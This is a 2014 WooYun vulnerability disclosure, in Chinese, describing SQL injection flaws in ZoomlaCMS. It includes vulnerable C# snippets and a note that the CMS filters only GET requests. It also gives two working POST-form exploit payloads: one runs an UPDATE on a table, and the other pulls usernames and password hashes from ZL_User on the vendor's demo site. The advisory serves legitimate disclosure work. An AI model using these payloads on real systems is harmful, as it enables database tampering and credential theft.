当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-081875

漏洞标题:逐浪CMS2个文件两个注入5处问题代码 另附其他注入绕过方式

相关厂商:逐浪CMS

漏洞作者: Damo

提交时间:2014-11-06 10:23

修复时间:2015-02-04 10:24

公开时间:2015-02-04 10:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-06: 细节已通知厂商并且等待厂商处理中
2014-11-06: 厂商已经确认,细节仅向厂商公开
2014-11-09: 细节向第三方安全合作伙伴开放
2014-12-31: 细节向核心白帽子及相关领域专家公开
2015-01-10: 细节向普通白帽子公开
2015-01-20: 细节向实习白帽子公开
2015-02-04: 细节向公众公开

简要描述:

厂商目前在安全方面已经下狠功夫了,虽然很多都参数化了以及数据类型的转换 但是难免会有遗漏,还望继续努力

详细说明:

注入点一 :
文件
User/UserZone/StructView.aspx
参数:ID
后台代码片段:

public void Page_list()
{
.....
DataTable dataTable = this.user.Sel("StructureID like '%," + base.Request.QueryString["ID"] + ",%'", "");
.......
}


此处可确定此ID参数是经过URL传值
逐浪之前的防注入调整了
那下面通过另一种方式绕过
那么看Global

private void Application_BeginRequest(object sender, EventArgs e)
{
if (base.Request.RequestType.ToUpper() == "GET" && ZoomlaSecurityCenter.GetData())
{
function.WriteMessage("产生错误的可能原因:你提交的参数不正确,包含恶意字符串,或检查系统是否开启了SQL防注入功能!", "", "非法SQL注入或存储!");
}
if (base.Request.HttpMethod.ToUpper() == "POST" && HttpContext.Current.Request.Files.Count > 0)
{
ZoomlaSecurityCenter.CheckUpladFiles();
}
....
}


由此可得出结论 :SQL注入的防御只对GET方式进行了过滤 而 POST YY了
那么 利用方式如下:

<form action="http://192.168.10.55:9992/User/UserZone/StructView.aspx?ID=SA';update ZL_3DMusic set MusicName='wooyun' where id=1 and ',%'='" method="post"> 
<input id="Submit1" type="submit" value="submit" />
</form>


此处可修改任何表 这里测试的是表 ZL_3DMusic 的字段 MusicName 为wooyun

aaaaaaaaa.png


注:此注入点在官网Demo中已被删除 ,但是官方提供的下载中依然存在
注入点二中则包含两个小侏儒:
文件 :
/User/userzone/logmanage/logsearchresult.aspx
代码片段:
问题出现在页面后台方法 
这个方法中的 是小侏儒1 函数名称

OK_Click()


参数

string text2 = base.Request.Form["age1"];
string text3 = base.Request.Form["age2"];
string text4 = base.Request.Form["sex"];
string text5 = base.Request.Form["ltype"];


问题代码1
text = text + " and userSex=" + text4;
问题代码2
if (text5 != "")
{
text = text + " and logtypeid='" + text5 + "'";
}


这个方法中的 是小侏儒2 函数名称

OK2_Click()


参数:

string text2 = base.Request.Form["sType"];
string text3 = base.Request.Form["TypeStr"];
问题代码:
问题代码1
if (!string.IsNullOrEmpty(text3))
{
text = text + " and username='" + text3.Trim() + "'";
}
问题代码2
if (!string.IsNullOrEmpty(text3))
{
text = text + " and LogTitle='" + text3.Trim() + "'";
}


利用代码:如下

<form action="http://demo.zoomla.cn/User/userzone/logmanage/logsearchresult.aspx" 
method="post">
<input type="text" name="age1" id="age1" value="1" />
<input type="text" name="age2" id="age2" value="1" />
<input type="text" name="sex" id="sex" value="1" />
<input type="text" name="ltype" id="ltype" value="6F9619FF-8B86-D011-B42D-00C04FC964FF' and 1=( select top 1 STUFF( UserPwd, 1, 0, UserName) from dbo.ZL_User )--" />
<input id="Submit1" type="submit" value="submit" />
</form>


a1a1.png


漏洞证明:

注入一

aaaaaaaaa.png


注入二

a1a1.png

修复方案:

过滤不到位
另外过滤POST

版权声明:转载请注明来源 Damo@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2014-11-06 11:06

厂商回复:

感谢@Damo正解,其中有一些没用的模块,我们在新研发中已经剔除,而公开发布的开放版中,要等下一版更新发布,故有误差问题。

最新状态:

暂无